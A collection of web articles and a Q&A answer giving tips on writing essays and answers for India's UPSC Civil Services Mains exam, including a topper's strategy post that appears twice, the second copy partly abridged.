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How to Write a Good Essay for UPSC? A Guide to Improve Your Writing Skills

An essay is a short piece of writing on a particular subject, usually in prose and generally analytic, speculative or interpretative that gives the author’s own argument. These are written composition about anything.

It takes discipline, foresight, research, strategy and if done right, ends in total victory. In terms of ‘writing’ you need to create a handful of original sentences for the entire content; a thesis, a theme, a mini-thesis that begins each paragraph and a concluding sentence that says all.

How to Write an Essay for UPSC?

Writing an essay often seems a dreaded task among students. The idea behind is to make it easier for the reader to navigate the ideas put forth in a content.

For all those who are confused about how to write an essay for UPSC, here is the detailed guide on what you must write in every essay:

Introduction is an Important Part of Essay Writing in UPSC

The introductory paragraph should have an attention-grabbing hook. It should describe your content topic/ question. One can also include good proverb related to the topic of the content. This should not be more than one paragraph.

Body paragraph supports your introductory paragraph and must include all supporting details. It is advisable to support your explanations on the topic with good examples/ facts/ Govt schemes/ data/ statistics/ proverbs. This can be more than one paragraph until you reach your word limit.

No matter on which UPSC essay writing topic you are working on, conclusion plays a significant role. The conclusion should rephrase the main topic and subtopics and should carry a call to action. A concluding proverb will always be a good way to end a content. It will be good to not conclude the writing by providing your personal opinion on the topic unless specified in the question. This should not be more than one paragraph.

Also Read: Pressure Groups in India: Everything you Need to Know

Tips to Score Better on UPSC Essay Writing Topics

With a little planning and a lot of hard work, you can write an essay for UPSC that’s good enough in a short time. Following pointers will help you to develop a writing framework:

Essay Question

Selecting a UPSC essay writing topic is the most important and critical task. Choose a topic for which you have knowledge of enough content, examples, facts, data and proverbs. Once the right topic is chosen your half work is accomplished.

Develop a Plan

Planning helps to figure out how long to spend on each part of the text and will keep you on task. Develop a thesis- the main idea of your essay. It should be precise and short.

Jotting Down Pointers

These can include examples for your topic, important facts that support your reasons, data/statistics, proverbs. These pointers will help you develop your content in a better way.

Write Outline

The outline will guide you through the writing process of the content. Structure it in the same form as your text. This helps in identifying the areas that need better development.

Revision of your outline is as important as a revision of your writing. The revision will help you to analyse any errors/ spelling mistakes etc thus ensuring a better essay writing for UPSC.

Tips to Make Your Writing Suitable as per UPSC Essay Syllabus

Read other essays.

Reading other people’s writings will help in building your own style for essay writing in the UPSC exam. Read contents on a wide range of subjects, different genres of fiction and nonfiction but try to keep the focus on the UPSC essay syllabus. The wider you read, more possible techniques will be available to pick up and use in essays of your own. Another good source is reading newspapers, specifically editorials!

Build Vocabulary and Use it Properly

This helps in expressing exactly what one means. A good vocabulary displays intelligence and allows being persuasive in your writing. Refer a dictionary, learn prefixes/ suffixes. Subscribe to a daily email that sends new words. Add variety to your knowledge of words, collect new words and find their meanings, also write their definitions and frame them in sentences. An economy with words is a characteristic of all good essays.

Having a good command of grammar is the most important thing for essay writing in UPSC. Building up a sentence which is grammatically correct and right use of words will create an overall good impact of your text. While composing the content, it is important to make yourself easy for readers to understand.

The sentence structure shows how intelligent you sound. The reader should not read a sentence more than once to understand it. Correct use of punctuation and tone of voice is a must. Do not use passive voice or I/ my words, try to be more general and readers will remain hooked on.

Also Read: A Complete Guide to Score Better in Geography for UPSC: UPSC Exam Strategy

UPSC Essay Writing Topics

The best students enjoy creating essays. For many students, each topic brings with it the challenge of making a little better than last one. When one writes regularly, chances are less to get stuck and repeating the same thing each time. So, pick a UPSC essay writing topic each day and prepare an outline of your ideas and then write your thesis and frame up your content.

Let’s Wrap Up:

Essays are self-generating, self-reinforcing and self-fulfilling. These should be balanced so that one can learn from the best of the writers and be able to pick up techniques to help in shaping up a balanced piece.

Essays constitute a formal, academic context, but that does not mean they should be boring. Don’t use big words in an essay writing in UPSC just for the sake of it; it may have the opposite effect. Ultimately, the goal should be that the writing is clear and easy to understand so that it is a pleasure to read.

About the Author

Akshay palande.

Akshay Palande is a passionate teacher helping hundreds of students in their UPSC preparation. With a degree in Mechanical Engineering and double masters in Public Administration and Economics, he has experience of teaching UPSC aspirants for 5 years. His subject of expertise are Geography, Polity, Economics and Environment and Ecology.

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How to Improve Writing Skills for UPSC CSE Mains Exam?

Last updated on April 16, 2024 by ClearIAS Team

How to Improve Writing Skills for UPSC Civil Services Mains Exam

In this article below we have provided important tips regarding How to Improve Writing Skills for the UPSC CSE Mains Exam.

Writing skills play an important role in the UPSC Civil Services Mains Exam.

The ability to express thoughts correctly and convincingly is important for success in this prestigious examination.

In this article, we will provide you with some practical tips to improve your writing skills to increase your chances of achieving success in the examination.

Table of Contents

Work on Fundamentals Before Starting Answer Writing Practice

Before starting working on writing skills it is important to make themselves aware of a few fundamental details. Such details will help you understand the requirements of the questions.

Without fundamentals, it is hard to satisfy the needs of the examinations. A few of such fundamentals are:

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Familiarise yourself with the syllabus
Go through the standard books of all the subjects including NCERTs.
Stay updated with the current event and the best source for it is the newspaper.
Keep revising.

Also read: How to Start Practicing Answer Writing for UPSC CSE Mains Exam?

How to Improve Writing Skills for the UPSC CSE Mains Exam?

Any candidate appearing in the UPSC CSE Mains exam or willing to appear in the mains exam in the future must inculcate a few important details in their schedule. Such details are provided below.

Understand the Exam Requirements

It is important to thoroughly familiarize with the exam’s requirements and stick to them while preparing for the examination.

Understand the structure, word limits, and evaluation criteria for each section, such as the essay, general studies papers, or optional subjects.

This knowledge will enable you to structure your writing style and content accordingly.

Analyze Previous Year Questions

It’s important to understand the pattern and style of the previous year’s questions.

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Analyzing these questions provides insights into the examiners’ expectations. It helps you structure your answers effectively, ensuring relevance and clarity.

Practice Answer Writing

Regular practice of answer writing is also important for the UPSC CSE and one of the most reliable sources to begin their answer writing practice is the previous year’s paper.

Choose Previous Years’ question papers and practice writing concise answers within the given time frame. Focus on developing a suitable argument, providing relevant examples, and structuring your answers effectively.

Work on Clarity and Precision

Clear and precise writing leaves a lasting impact on the reader and in this case, on the examiner.

Avoid using difficult sentences or fancy words. Go for simplicity and clarity of expression.

Use precise and specific language to convey your ideas effectively, avoiding unnecessary verbosity.

Develop Analytical Skills

The UPSC exam demands analytical thinking and the ability to critically evaluate various perspectives.

Cultivate your analytical skills by analyzing complex situations from multiple angles, always think about their pros and cons. For that, you can use the reference of current events.

Create a Strong Introduction and Conclusion

An impactful introduction sets the tone for your essay or answer, while a well-crafted conclusion leaves a lasting impression.

Use the introduction to provide context and a clear thesis statement. The conclusion should summarize your main points and leave the reader with a thought-provoking idea or a call to action.

Read Model Answers

Refer to model answers of candidates who already have cleared the examination. Analyze their structure, language, and approach to answer writing.

Take note of how they effectively address the question, present arguments, and provide supporting examples. Incorporate these techniques into your own writing style while maintaining originality.

Time Management and Revision

Effective time management is important during this exam. Practice writing within time limits to improve speed without compromising on quality.

Always keep some time aside for revision to identify and rectify errors, improve sentence structure, and ensure overall coherence. A well-revised answer helps improve clarity and readability.

Work on Personality Development

Always keep yourself indulge in important discussions and change your perspective from a common man to a civil servant but do not fall into the trap of irrelevant discussions.

When it comes to the UPSC CSE, it’s not just about having theoretical knowledge of the subjects in the mains. They also seek candidates who can think critically, solve problems, and approach issues from an administrative standpoint.

Developing these skills requires active participation in discussions about important societal problems and national or international topics.

By indulging yourself in these discussions and seeking solutions, you can cultivate a problem-solving mindset and an administrative perspective.

Join a Model Answer Writing Program

Joining a model answer writing program can greatly benefit your preparation for the UPSC Civil Services Mains Exam.

These programs provide valuable guidance and support in favor of your writing skills.

By participating in such a program, you gain access to expert mentors who offer insights into effective answer writing techniques, proper structuring of answers, and providing relevant examples and evidence.

In case you are looking for a program where you can work on improving your answer writing, get proper evaluation and guidance, you can choose the ClearIAS model answer writing program as it is very friendly to candidates and provides valuable guidance.

Article Written By: Priti Raj

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Essay Writing for UPSC - Weekly Essay Writing Programme

By vajiram & ravi.

Essay Writing for UPSC: Writing an essay for the UPSC Mains Exam requires a structured and well-organised approach. The UPSC essay paper is not just limited to assessing a candidate's creative writing skills, but rather, the focus is on evaluating a candidate's ability to think critically, express their ideas clearly, and present a balanced perspective on various issues. This article discusses the do’s and don'ts that need to be remembered while writing your Essay for the UPSC Mains Exam.

Check: UPSC CSE Mains 2023 Essay Question Paper

Essay Writing for UPSC

The UPSC Mains Examination comprises a total of nine papers, inclusive of an essay paper. The Essay Paper is categorised into sections A and B, each containing four topics. These topics hold a value of 125 marks each, thereby totalling 250 marks (125×2). Candidates are required to choose one topic from each section and compose an essay spanning 1,000 to 1,200 words within the allocated three-hour duration. UPSC provides the following guidelines in its Notification on the Essay Paper:

Candidates may be required to write essays on multiple topics.
They will be expected to keep closely to the subject of the essay to arrange their ideas in orderly fashion and to write concisely.
Credit will be given for effective and exact expression.

Essay Writing for UPSC - What is Expected?

When preparing for the UPSC Mains Essay Paper, there are a few basic points that you should remember. The paper tests the diversity of your content and not its creativity .

When writing your Essay Paper for the UPSC Mains Exam, your focus should be on the following points-

Diversity of the content: Incorporating diverse content in the essay paper not only enriches the content but also showcases your depth of knowledge, analytical skills, and ability to present a comprehensive perspective on complex topics.
Focus on the topic: Centre your essay around the core theme of the chosen topic. By maintaining a clear focus on the topic and consistently reinforcing its relevance, your essay becomes a well-structured and compelling piece that effectively communicates your ideas to the examiner.
Clarity, Depth, and Language: Language plays a crucial role in conveying your ideas effectively. Use precise and simple language to articulate your points and maintain a formal and coherent tone throughout the essay. Focusing on clarity of thought ensures that your ideas are easily understood by the examiner, and providing an in-depth analysis supported by relevant examples, data, and arguments, helps showcase your ability to engage with the topic critically.
Providing Evidence: While stating a Quote, there should be evidence to support your thought. This helps you to avoid the superficial treatment of the subject and delve into its complexities, showcasing your ability to engage with the topic critically.

How to Write Essay for UPSC Mains?

Writing an essay for the UPSC Mains Exam requires a structured and well-organised approach.

Choose the Right Topic

Read the given UPSC essay topics carefully and choose the one that resonates with your strengths and interests. Pick a topic that allows you to showcase your knowledge and understanding effectively.

Brainstorm Ideas

Spend some time brainstorming ideas related to the chosen topic. Jot down key points, arguments, examples, and relevant data that you could use to support your essay.

Create a Structure

A well-structured essay has a clear introduction, body paragraphs, and a conclusion. Your introduction should introduce the topic and provide a brief overview of your stance. Each body paragraph should focus on a specific point, argument, or example. The conclusion should summarise your main points and reiterate your thesis.

Format for UPSC Essay Writing

The UPSC essay format requires a thoughtful approach to convey your ideas effectively. There are three stages or steps in any essay - Introduction, Body paragraphs, and Conclusion.

Introduction Paragraph of an Essay

Craft a strong introduction paragraph that outlines your main argument or perspective. This paragraph should be concise and provide a roadmap for your essay. You can begin your essay with a quote, and the last line of the introduction paragraph should end with reinforcing the main topic.

For example: Topic: The Health of the Nation is more important than the Wealth of Nation

Start your essay with a quote-

“P ublic Health depends upon winning over Hearts and Minds. It's not enough to just have a good policy; you have to convince people to actually follow it .”

In a country's journey forward, we often talk about how having a lot of money is crucial. But there's another side to this story, which says that the good health of the people in a country is even more vital. If there is something that COVID-19 has taught us, it is how no economy with ample amounts of money can guarantee the health of its nation and how the health of its citizens eventually affects the wealth of the country. This idea highlights how the health of the nation is more important than the wealth of the nation.

Writing in Paragraphs

Writing in paragraphs is important in an essay because it enhances readability and organisation. Each paragraph should focus on a specific idea, argument, or point, making it easier for readers to follow the logical flow of your thoughts . Paragraphs create visual breaks, helping to structure your essay into manageable sections. The following points have to be kept in mind while framing your Essay Paragraphs:

Address Counter-arguments:

Acknowledge potential counter-arguments and address them in your essay. This shows that you have considered multiple perspectives and strengthened your argument.

Use Examples:

Incorporate real-life examples, case studies, and anecdotes to illustrate your points. Examples make your essay more relatable and persuasive.

Gather Evidence:

Collect relevant current affairs facts, statistics, historical examples, and real-life incidents to support your arguments. Ensure that your evidence is accurate and well-researched.

Logical Flow:

Maintain a logical flow between paragraphs and ideas. Each paragraph should transition smoothly to the next, creating a coherent narrative.

Use of simple Language:

Write in a clear, concise, and coherent manner. Avoid using overly complex language that might obscure your message. Focus on communicating your ideas effectively.

Avoid Repetition:

Be mindful of repeating the same points or ideas. Each paragraph should contribute something new to the discussion.

Conclusion of the Essay

The conclusion serves the purpose of providing a seamless ending to the essay. It's worth noting that a strong ending holds the same level of significance as a compelling beginning. Both aspects contribute to achieving higher scores.

To effectively conclude an essay, you can utilise various elements, including facts, statistics, reasons, examples, quotes, opinions, experiences, and sensory details . The essay's conclusion can take on several forms: it might involve briefly reiterating the main points, suggesting potential future steps or actions, or injecting an engaging personal comment or relevant anecdote.

An alternative approach to concluding an essay involves revisiting the topic introduced in the introduction. This is known as a 'cyclic return,' and it's a straightforward method employed in many essays to bring the discussion full circle.

Ultimately, a conclusion should carry a positive perspective, seeking out the silver lining amidst challenges. It should also strive for clarity and brevity, ensuring the ideas are expressed concisely.

Proofread and Revise the Essay

Once you've finished writing, take some time to proofread and revise your essay. Check for grammatical errors, spelling mistakes, and clarity of expression.

Vajiram & Ravi Weekly Essay Writing Programme

Examining the essays from UPSC previous year question papers allows one to grasp the concepts, aspects, and remedies essential for addressing those issues. Gaining a basic comprehension of intricate societal challenges holds the key to crafting a strong essay for the UPSC Mains Exam.

In order to help the aspirants regularly practise Essay Writing, Vajiram & Ravi have come up with a weekly essay writing Programme- Pensive Essay Writing Programme . It provides two essay topics every Saturday for you to practise. You can submit your Essays on vajiramandravi.com.

Vajiram & Ravi Essay Module

We have also introduced an Essay Module to help the aspirants clarify and organise ideas and information to analyse primary sources and employ critical judgement, among other things. This will improve knowledge and aid in the learning process. It will strengthen your writing abilities to write lucidly, coherently, and persuasively, as well as the ability to structure an argument.

The Essay Module Offers the Following Features:

The module provides 12-13 lectures, each dedicated to a specific theme.
Well-curated and concise Handouts covering essential themes for every lecture will also be provided to comprehensively meet the content requirements of the Essay Paper.
In addition, 4 full length Essay Tests, with Personalized and Objective Evaluation, followed by a Test Discussion will be offered- all based on current UPSC CSE trends. Module is available in both online and offline mode.

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How can I improve my essay writing skills for UPSC exams?

Asked by Neha 23/09/2023 Last Modified 08/11/2023

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Improving Essay Writing Skills for UPSC Exams

Essay writing is a crucial component of the UPSC Civil Services Mains examination. To excel in this section, candidates need to focus on honing their essay writing skills. Here's a structured approach to help you improve your essay writing skills:

I. Understanding the UPSC Essay Paper:

Know the Format: The UPSC essay paper consists of two essays that need to be written in 3 hours. Each essay carries 125 marks, making it a high-scoring section.

Choice of Topics: There are several essay topics, and you need to choose one from each section. The topics can be from various domains, including social, economic, political, philosophical, and environmental issues.

II. Structuring Your Essays:

Introduction: Start with a strong and concise introduction that outlines the scope of your essay.

Body: This section should present your arguments, analysis, and examples. Organize your ideas logically and coherently.

Conclusion: Summarize your main points and present a balanced and thoughtful conclusion.

III. Building Skills for Effective Essays:

Practice Writing: Regular practice is essential. Write essays on a variety of topics to develop your skills.

Read and Analyze: Reading extensively, including newspapers, magazines, and opinion pieces, will expose you to different writing styles and viewpoints.

Understand the Demand of the Topic: Carefully analyze the topic to understand its demand. Is it asking for an analysis, criticism, or a balanced view?

Use Quotes and Real-Life Examples: Incorporate quotes, data, and real-life examples to support your arguments and make your essay more credible.

Clarity of Expression: Focus on clarity and coherence in your writing. Avoid jargon and use a simple and concise style.

Develop a Personal Style: Develop your unique writing style while adhering to formal essay conventions.

Balance and Objectivity: UPSC values balanced and objective viewpoints. Avoid a one-sided or overly critical tone.

IV. Seek Guidance:

Coaching Institutes: Enrolling in a reputable UPSC coaching institute, like those available on UrbanPro.com, can provide expert guidance and structured coaching.

Mentoring: Consider finding a mentor who can provide personal feedback and guidance.

Peer Review: Exchange essays with peers for feedback and constructive criticism.

V. Time Management:

Practice Timed Essays: Practice writing essays within a time limit to simulate exam conditions.

Allocate Time Strategically: Allocate time for planning, writing, and reviewing your essay during the exam.

VI. Previous Year's Papers:

Review Past Essays: Study previous years' essay papers to understand the types of topics and questions asked.

Practice Mock Essays: Write essays on these topics and compare your responses with model answers.

VII. Revision and Improvement:

Learn from Feedback: Analyze feedback from mentors, peers, or mock tests and work on areas of improvement.

Revision: Revise your essays to identify and correct mistakes, enhance clarity, and strengthen arguments.

VIII. Stay Informed:

Current Affairs: Stay updated on current affairs and contemporary issues as they often form the basis of essay topics.

Improving your essay writing skills for UPSC exams is a gradual process. With consistent practice, guidance, and a structured approach, you can enhance your ability to write effective essays and perform well in this critical section of the exam. Consider seeking the support of experienced UPSC tutors and coaching institutes available on UrbanPro.com to further refine your essay writing skills.

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Writing a good Essay in UPSC Mains, Explained by Anudeep Durishetty

ForumIAS announcing GS Foundation Program for UPSC CSE 2025-26 from 27th May. Click Here for more information.

Novelist Stephen King put it beautifully when he said, “I write to find out what I think.”

Writing is a window to your thought process. What you write on paper will tell the reader how you think, how you argue and the way you substantiate your viewpoint. This is why for most competitive examinations and academic entrance tests, essay is mandatory.

In the Civil Services Exam too, we have a paper worth 250 marks, equivalent to a General Studies paper. Despite its importance, essay paper often does not get the attention it deserves from aspirants. First timers think they will write an excellent essay in the final exam itself, whereas experienced aspirants believe that since they had already studied a ton for GS, it will alone be enough to write a good essay. This is a fatal miscalculation.

I was one of those who made these errors in the past, and it is not a coincidence that I scored only 100 in CSE 2015. But in 2017, I devoted adequate time to this paper. I collected useful quotes, prepared notes and even made rough essay drafts for frequently asked topics. All this effort in essay paper helped me score 155.

What follows is an elaborate post on how you should tackle the Essay paper. I’ve organised the content as follows:

What UPSC says about the essay paper

How and from where to prepare?

Improving language and expression

On subheadings and rough drafts
What you must avoid
How to write a powerful introduction?
Developing the content of an Essay

Substantiating your arguments

How to conclude an Essay
My notes, quote collection and sample essays

“Candidates may be required to write essays on multiple topics. They will be expected to keep closely to the subject of the essay, to arrange their ideas in an orderly fashion, and to write concisely . Credit will be given for effective and exact expression .”

Essay distinguishes itself from GS in the sense that in GS, marks will be awarded purely for content. But in essay, examiners will pay special attention to not just the content, but also the language, coherence and the way you organise your write-up.

So you must take adequate care to arrange your ideas properly and not commit any fundamental spelling or grammatical errors.

Most of the content you write in Essay will come from your GS preparation. Apart from this, the following sources will help:

Reading non-fiction helps you develop a matured thought process. Apart from imparting knowledge, they will also let you come across good figures of speech, art of argumentation, powerful rhetoric and unique content etc. For example, in an essay on Artificial Intelligence, I took arguments from Yuval Harari’s Homo Deus to argue that AI is an imminent threat to humanity. Or if you read Why Nations Fail, a book replete with examples, you will understand the importance of innovation, political and economic freedoms in propelling a nation forward. So my suggestion is, apart from UPSC related material, develop the hobby of reading non-fiction books. I do not mean to suggest that you should start reading one non-fiction book per topic to get good scores in Essay, but reading them occasionally in your free time will benefit you in the long run.
Referring to specific magazines: For certain topics, you can refer to specific issues of Yojana/EPW/Economic Survey etc. Example: for an essay on tribal issues or public health, you can go through specific issues of these magazines for getting the latest statistics (IMR, MMR, malnutrition levels etc) and also about the positives and criticisms of govt schemes in that sector.
Collecting good stories/anecdotes and quotes: Anecdotes, quotes and real life stories you see in newspapers and books which can be used in essay should be noted down. In most of my essays, I used to start with a relevant story or an anecdote that has the essay topic as its underlying theme. Apart from these, I also used a couple of quotes of eminent persons.

List of quotes, anecdotes I collected are available in the link at the end of this article.

Language in essay must be simple and clear with as little jargon as possible. If you want to use complex definitional terms such as, say, ‘Constitutionalism’ or ‘Sanskritisation’ please define it in sentence just before you use it. Examiner will also understand clearly what you want to convey. Clear writing is clear thinking. And that is what any reader looks for.

Keep your sentences short and powerful. Long, winding sentences makes it difficult to read and understand. If you tack on one clause after another through conjunctions, what you get is a bad sentence sprawl.

Example of a bad sentence sprawl:

At the end of World War 2, on the one hand, while capitalism was successfully championed by the nations in North America and Europe, on the other hand, it was USSR that put Communism at the forefront due to which there was an ideological clash between the the two superpowers which had led to proxy wars in various parts of the globe, a nuclear arms race and a rapid deterioration of the security of the world.

(By the time readers finish reading it, they will lose their breath and the point of the sentence)

So I had a simple rule: If you run out of your breath while reading a sentence, then probably you will have to break it into two.

Rewriting the aforementioned example after breaking it into two (which makes it much easier to read and comprehend):

After World War 2, while the North American and European nations championed capitalism, USSR put communism at the forefront. This ideological clash between the superpowers led to several proxy wars, a nuclear arms race and a rapid deterioration of world security.

There is no need to memorise complex words for writing a good essay. But an occasional use of a powerful word, or a good phrase definitely gives your write-up an edge.

Also, I believe that learning numerous words by rote will not make them stick in your brain for long. The best way to build your vocabulary is by reading non-fiction and English newspapers. While reading these, if you come across a good turn of phrase, or a word that you don’t recognise, please note it down in a book, find its meaning and understand the context in which the word was used. This helps in long term memory. Having a dictionary app on your phone also helps.

Building vocabulary is a slow process, but with consistency, anyone can become better at using an expansive set of words.

Subheadings & Rough Drafts

We can be a little innovative in our subheadings. Instead of bland subheadings such as ‘ Benefits of Nuclear Energy’ we can use “ Nuclear Energy: Promise or Peril?’ Similarly, for the essay on Social Media, instead of writing ‘ Advantages and Disadvantages of Social Media ’, I wrote “Social Media: A Double Edged Sword”

You can find my collection of a few such subheadings in the link to my notes, given at the end of the article.

I also prepared a rough draft for a few essay topics (link given at the end). You may need to modify the structure as per the demand of the question.

What you must avoid in Essay

Do not focus excessively only on one point, or one dimension (such as the historical or political aspect) Your essay needs to be expansive and multi-dimensional.
During preparation, we read a lot and it’s understandable that we feel strongly about certain topics. And since essay offers freedom to write, it’s very easy to get carried away with such a topic. But make sure that you write what is asked, not what you know or feel like. No mann ki baat . Always stick to the subject of the topic. It helps to read the question in the midst of your essay to ensure that you are not steering away from the topic.
If you are not comfortable writing about abstract philosophical topics (I am terrible at writing them), avoid such questions. Your choice of topic has no bearing on the marks and that is why, selecting an unpopular topic just for the sake of it is unwise. Also, if there’s a technical term in the question, be doubly sure that you understand it correctly. For instance, in 2014, there was a question on ‘standard tests’, which is a technical term. I misunderstood it and wrote a generic essay. I got 112.
When you take a final stand on an issue, it’s best to avoid extreme or highly unpopular opinions. We are free to have any opinion in the privacy of our minds, but in UPSC essay why take that risk? For instance, in an essay on Capital Punishment, in the main body content, you should present a case for both abolition and retention. But when you take a stance, it’s best to be an abolitionist.
No ranting. You might be a great fan of Karl Marx, but if there’s a question on Capitalism, do not rant or rail against it ? You must present both the positives and negatives of Capitalism and end the essay on a balanced note.
Do not dedicate disproportionate amount of time for the first essay and scamper through the second. Both carry equal marks, so please invest equal time.

How to transition smoothly from one para to the next

This can be done in three ways.

Through a link sentence at the end of a para:

Here, at the end of a para, you write a sentence that signals to the examiner what’s coming next. For example, let’s say you have just written a para about the threat posed by Artificial Intelligence (AI) to jobs. At the end of that para you can write a link sentence— “Further, we must be mindful of the fact that Artificial Intelligence poses a major challenge not just economically, but also ethically.” And in the next para, you can write about the ethical issues concerning AI.

Through a question:

Instead of a link sentence, you can also add a question at the end of a para so that examiner’s attention is helplessly carried to the next. To take the similar example as above, the question can be something like— “Thus we have examined the threat posed by AI to our economy, but what about the challenges brought by AI to our ethics and morals?” And in the next para, you can write about the ethical issues concerning AI.

Signalling the shift at the start of next paragraph:

Here you can simply add a word or two at the beginning of a para that signals a shift in your subtopic. For example in an essay on Globalisation , let’s say you have just written a para about its historical evolution and impact. You can start the next para with something like— “Politically too, globalisation has had a tremendous impact……” This way examiner immediately knows what to expect.

These steps will ensure that the transition between paragraphs is not abrupt.

How to write a good Introduction to your Essay?

Essay introduction can be:

a fictitious incident or story (where you introduce a character); a real life anecdote; a quote; or a simple definition of the words in the question (not recommended in Essay)

In GS, definitional approach is a great way to introduce your answers. But in essay, they are rather stale, lacking in any human element. I always believe that a good way to start your essay is to have that touch of humanity and warmth in your introduction.

In my Mains exam, this was my introduction to the essay ‘Destiny of a nation is shaped in its classroom’

“The year was 1945. Towards the end of a gruesome world war, the world powers decided to carve up the Korean peninsula along the 38th parallel.

“Before partition, North and South Korea might have been homogeneous in every respect, but after the division, they steered onto different paths. While schools in the North chose to ‘educate’ their children in the worship of a cult leader, ideological indoctrination and servility, its southern counterpart focused on liberal education, innovation and economic growth.

“Today, almost seven decades later, the difference in the fates of these people and the trajectories of both these nations cannot be more stark. One is known for gross violation of human rights, while the other a champion of liberal democracy. One is known for gut-wrenching poverty, while the other unbridled prosperity.

“This only proves the age old adage that the destiny of a nation is indeed shaped in its classrooms.”

Similarly, for the Social Media essay, my introduction sought to bring to the fore the paradox of Social Media. I wrote on how social media was leveraged to crowdsource help and rescue during Chennai floods in 2015. At the same time, I mentioned how it was used nefariously in 2012 to cause mass exodus of northeast people from Bangalore. And taking cue from this introduction, in the main body, I discussed about the inherent selfishness and altruism associated with social media.

These real life stories, anecdotes and incidents are everywhere in our books and newspapers. So when you come across them, note down and ponder as to how you can use them in your essay.

Developing the Main Content from the Topic

This is like spinning the web from a thread. Depending on the topic, you can choose among the following options that fits best.

Temporal: Past, present and future
Sectoral: Media, Science & Tech, Business, Sports, Religion, Politics, Administration etc
Walks of Life : Individual, Family, Professional workplace, Society, Community, National, Global
Problem & Solution: Concept (historical evolution+status), benefits, problems, solutions
Standard : Social, Political, Economical, Administrative, International, Environmental, Historical, Scientific, Security/Defence, Legal

Example: for a topic like “Has Globalisation delivered on its promise?” I find the problem & solution method an apt way to develop your narrative. So choose as per the question.

In the main body of the essay, each para must have an argument or an idea and a reasoning to back that argument. You can substantiate it through a real life example, a statistic, an authentic committee or organisational report etc.

For example, if you are arguing that Capital punishment is an expensive form of justice, you should be able to given an example or a statistic or Law Commission’s opinion as to how the subjects of death penalty are overwhelmingly from poor communities.

Statistics, examples, expert opinions and constitutional provisions are crucial and they make your arguments authoritative.

Concluding an Essay

Conclusion needs to be on a futuristic, optimistic note. You need to summarise the complete essay in 3-4 sentences, after which you can write your vision for future.

You can source some useful terms from the speeches of PM Modi. Phrases like Sabka saath sabka vikas , Reform-Perform-Transform, Building A New India etc can come handy. Rhetoric, lofty expressions, constitutional ideals, sanskrit slokas and quotes are a good way to conclude your essay.

But suppose in your introduction, if you had written about a fictitious character, then it’s always advisable to end your write-up with a reference to that character. It gives a sense of completeness to the essay.

Readers should keep in mind that these notes are written rather haphazardly (I mean who makes notes thinking that in future, they might have to upload them publicly :D)

They are fragmented in certain pages, so you may not be able to comprehend them completely, but nevertheless I hope you take home something useful.

Link to handwritten notes:

https://drive.google.com/open?id=1jmVMGOzAk2d9B5Y0HQ9XpVF5Mh2IXGku

Quote collection:

https://drive.google.com/open?id=1jk71jLao60hHwJoTuGYaIDgJWccxa5Xn

List of Topics one needs to prepare:

https://drive.google.com/open?id=1q0W0PeH-80EKt6ucJTFOVPUlmXvCIzd-

Sample Essays:

https://drive.google.com/open?id=1jqfUi1FXdG0icBdJpdQvwH1wlAizCMvo

Read More at: https://anudeepdurishetty.in/

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ESSAY STRATEGY By Anudeep Durishetty, UPSC Civil Services Exam Topper, All India Rank – 1 CSE-2017 – How to write a good Essay in UPSC Mains, Explained

Essay strategy.

How to write a good Essay in UPSC Mains, Explained

By Anudeep Durishetty

UPSC Civil Services Exam Topper, All India Rank – 1 CSE-2017

Novelist Stephen King put it beautifully when he said, “I write to find out what I think.”

What follows is an elaborate post on how you should tackle the Essay paper. I’ve organised the content as follows:

What UPSC says about the essay paper

How and from where to prepare?

Improving language and expression

On subheadings and rough drafts
What you must avoid
How to write a powerful introduction?
Developing the content of an Essay

Substantiating your arguments

How to conclude an Essay
My notes, quote collection and sample essays

“Candidates may be required to write essays on multiple topics. They will be expected to  keep closely to the subject of the essay,   to arrange their ideas in an orderly fashion, and to write concisely . Credit will be given for  effective and exact expression .”

So you must take adequate care to arrange your ideas properly and not commit any fundamental spelling or grammatical errors.

How and from where to prepare?

Most of the content you write in Essay will come from your GS preparation. Apart from this, the following sources will help:

Reading non-fiction  helps you develop a matured thought process. Apart from imparting knowledge, they will also let you come across good figures of speech, art of argumentation, powerful rhetoric and unique content etc. For example, in an essay on Artificial Intelligence, I took arguments from Yuval Harari’s  Homo Deus  to argue that AI is an imminent threat to humanity. Or if you read  Why Nations Fail,  a book replete with examples, you will understand the importance of innovation, political and economic freedoms in propelling a nation forward. So my suggestion is, apart from UPSC related material, develop the hobby of reading non-fiction books. I do not mean to suggest that you should start reading one  non-fiction book per topic to get good scores in Essay, but reading them occasionally in your free time will benefit you in the long run.
Referring to specific magazines:  For certain topics, you can refer to specific issues of Yojana/EPW/Economic Survey etc. Example: for an essay on tribal issues or public health, you can go through specific issues of these magazines for getting the latest statistics (IMR, MMR, malnutrition levels etc) and also about the positives and criticisms of govt schemes in that sector.
Collecting good stories/anecdotes and quotes  Anecdotes, quotes and real life stories you see in newspapers and books which can be used in essay should be noted down. In most of my essays, I used to start with a relevant story or an anecdote that has the essay topic as its underlying theme. Apart from these, I also used a couple of quotes of eminent persons.

         List of quotes, anecdotes I collected are available in the link at the end of this article.

Example of a bad sentence sprawl:

(By the time readers finish reading it, they will lose their breath and the point of the sentence)

So I had a simple rule: If you run out of your breath while  reading a sentence, then probably you will have to break it into two.

Rewriting the aforementioned example after breaking it into two (which makes it much easier to read and comprehend):

Vocabulary 

There is no need to memorise complex words for writing a good essay. But an occasional use of a powerful word, or a good phrase definitely gives your write-up an edge.

Building vocabulary is a slow process, but with consistency, anyone can become better at using an expansive set of words.

Subheadings & Rough Drafts

We can be a little innovative in our subheadings. Instead of bland subheadings such as ‘ Benefits of Nuclear Energy’  we can use “ Nuclear Energy: Promise or Peril?’  Similarly, for the essay on Social Media, instead of writing ‘ Advantages and Disadvantages of Social Media ’, I wrote  “Social Media: A Double Edged Sword”

You can find my collection of a few such subheadings in the link to my notes, given at the end of the article.

I also prepared a rough draft for a few essay topics (link given at the end). You may need to modify the structure as per the demand of the question.

What you must avoid in Essay

Do not focus excessively only on one point, or one dimension (such as the historical or political aspect) Your essay needs to be expansive and multi-dimensional.
During preparation, we read a lot and it’s understandable that we feel strongly about certain topics. And since essay offers freedom to write, it’s very easy to get carried away with such a topic. But make sure that you write what is asked, not what you know or feel like. No  mann ki baat . Always stick to the subject of the topic. It helps to read the question in the midst of your essay to ensure that you are not steering away from the topic.
If you are not comfortable writing about abstract philosophical topics (I am terrible at writing them), avoid such questions. Your choice of topic has no bearing on the marks and that is why, selecting an unpopular topic just for the sake of it is unwise. Also, if there’s a technical term in the question, be doubly sure that you understand it correctly. For instance, in 2014, there was a question on ‘standard tests’, which is a technical term. I misunderstood it and wrote a generic essay. I got 112.
